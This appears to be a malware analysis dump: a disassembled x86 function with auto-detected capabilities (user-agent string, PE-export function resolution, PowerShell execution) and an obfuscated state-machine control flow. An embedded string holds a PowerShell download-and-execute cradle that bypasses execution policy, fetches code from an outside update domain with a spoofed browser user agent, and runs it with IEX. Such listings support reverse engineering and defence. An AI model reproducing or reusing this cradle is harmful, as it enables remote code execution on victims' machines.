Function at 0x866c73
Capabilities:
Reference http user-agent string
Resolve function by parsing pe exports
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x10c
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 3
je 0x867114
cmp dword [ebp - 0x1c], 3
ja 0x86710e
cmp dword [ebp - 0x1c], 2
je 0x866e12
cmp dword [ebp - 0x1c], 2
ja 0x86710e
cmp dword [ebp - 0x1c], 0
je 0x866cc3
cmp dword [ebp - 0x1c], 1
je 0x866fc6
jmp 0x86710e
mov eax, dword [ebp + 0x5c]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x60]
mov edi, dword [eax]
mov eax, dword [ebp + 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x60]
mov edx, dword [eax]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x5c]
mov ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 0x60]
mov esi, dword [eax]
mov dword [ebp - 0x38], esi
mov eax, dword [ebp + 0x60]
mov esi, dword [eax]
mov eax, dword [ebp + 0x5c]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x5c]
mov edx, dword [eax]
fld qword [0x887058]
fstp qword [esp + 0x98]
mov dword [esp + 0x94], 9
fld qword [0x887070]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 4
mov dword [esp + 0x84], 8
fld qword [0x887088]
fstp qword [esp + 0x7c]
mov dword [esp + 0x78], 6
mov dword [esp + 0x74], ebx
mov dword [esp + 0x70], edi
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], 4
mov dword [esp + 0x64], 3
mov dword [esp + 0x60], 0x400
fld qword [0x887070]
fstp qword [esp + 0x58]
fld qword [0x887090]
fstp qword [esp + 0x50]
mov dword [esp + 0x4c], 4
mov dword [esp + 0x48], 4
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 5
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], 9
fld qword [0x887060]
fstp qword [esp + 0x30]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 0x58]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 8
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
fld qword [0x887060]
fstp qword [esp + 0xc]
mov dword [esp + 8], 8
fld qword [0x887068]
fstp qword [esp]
call sym._ClearMemory
mov dword [ebp - 0x1c], 3
jmp 0x86710f
mov eax, dword [ebp + 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
mov ebx, dword [eax]
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp + 0x40]
mov edi, dword [eax]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp + 0x24]
mov edx, dword [eax]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp + 0x28]
mov ecx, dword [eax]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 8]
mov esi, dword [eax]
mov dword [ebp - 0x40], esi
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp + 0x20]
mov edi, dword [eax]
mov dword [ebp - 0x48], edi
mov eax, dword [ebp + 0x4c]
fld qword [eax]
mov eax, dword [ebp + 0x1c]
fld qword [eax]
mov eax, dword [ebp + 0x44]
fld qword [eax]
mov eax, dword [ebp + 0x28]
mov edx, dword [eax]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp + 0x38]
mov ecx, dword [eax]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp + 0x10]
mov esi, dword [eax]
mov dword [ebp - 0x54], esi
mov eax, dword [ebp + 0x2c]
mov ebx, dword [eax]
mov dword [ebp - 0x58], ebx
mov eax, dword [ebp + 0x40]
mov edi, dword [eax]
mov dword [ebp - 0x5c], edi
mov eax, dword [ebp + 0x30]
mov edx, dword [eax]
mov dword [ebp - 0x60], edx
mov eax, dword [ebp + 0x40]
mov ecx, dword [eax]
mov dword [ebp - 0x64], ecx
mov eax, dword [ebp + 0x14]
mov esi, dword [eax]
mov dword [ebp - 0x68], esi
mov eax, dword [ebp + 0x4c]
fld qword [eax]
mov eax, dword [ebp + 0x44]
fld qword [eax]
mov eax, dword [ebp + 0x48]
mov ebx, dword [eax]
mov dword [ebp - 0x6c], ebx
mov eax, dword [ebp + 0x3c]
mov edi, dword [eax]
mov dword [ebp - 0x70], edi
mov eax, dword [ebp + 0x60]
mov edi, dword [eax]
mov eax, dword [ebp + 0x34]
fld qword [eax]
mov eax, dword [ebp + 0xc]
fld qword [eax]
fxch st(6)
mov eax, dword [ebp + 0x18]
mov esi, dword [eax]
mov eax, dword [ebp + 0x3c]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x30]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x50]
mov edx, dword [eax]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x98], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x94], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x90], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x8c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x88], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 0x84], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 0x7c], eax
fstp qword [esp + 0x74]
fxch st(4)
mov eax, dword [ebp + 0x54]
mov dword [esp + 0x70], eax
fstp qword [esp + 0x68]
fxch st(2)
fstp qword [esp + 0x60]
mov eax, dword [ebp - 0x4c]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x50]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 0x54], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 0x50], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x4c], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__update_ledger.net_update__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 0x3c], eax
fstp qword [esp + 0x34]
fstp qword [esp + 0x2c]
mov eax, dword [ebp - 0x6c]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x70]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edi
fstp qword [esp + 0x18]
fstp qword [esp + 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], edx
call sym._StrCatW
mov dword [ebp - 0x1c], 0
jmp 0x86710f
mov eax, dword [ebp + 0x5c]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x5c]
mov edi, dword [eax]
mov eax, dword [ebp + 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x60]
mov edx, dword [eax]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x5c]
mov ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 0x60]
mov esi, dword [eax]
mov dword [ebp - 0x38], esi
mov eax, dword [ebp + 0x60]
mov esi, dword [eax]
mov eax, dword [ebp + 0x5c]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x60]
mov edx, dword [eax]
fld qword [0x887080]
fstp qword [esp + 0x98]
mov dword [esp + 0x94], 9
fld qword [0x887058]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 9
mov dword [esp + 0x84], 8
fld qword [0x887080]
fstp qword [esp + 0x7c]
mov dword [esp + 0x78], 4
mov dword [esp + 0x74], ebx
mov dword [esp + 0x70], edi
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], 8
mov dword [esp + 0x64], 4
mov dword [esp + 0x60], 0x400
fld qword [0x887088]
fstp qword [esp + 0x58]
fld1
fstp qword [esp + 0x50]
mov dword [esp + 0x4c], 2
mov dword [esp + 0x48], 5
mov dword [esp + 0x44], 4
mov dword [esp + 0x40], 4
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], 2
fld qword [0x887060]
fstp qword [esp + 0x30]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 0x54]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 4
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
fld qword [0x887070]
fstp qword [esp + 0xc]
mov dword [esp + 8], 5
fld qword [0x887060]
fstp qword [esp]
call sym._ClearMemory
mov dword [ebp - 0x1c], 2
jmp 0x86710f
nop
jmp 0x866c86
nop
add esp, 0x10c
pop ebx
pop esi
pop edi
pop ebp
ret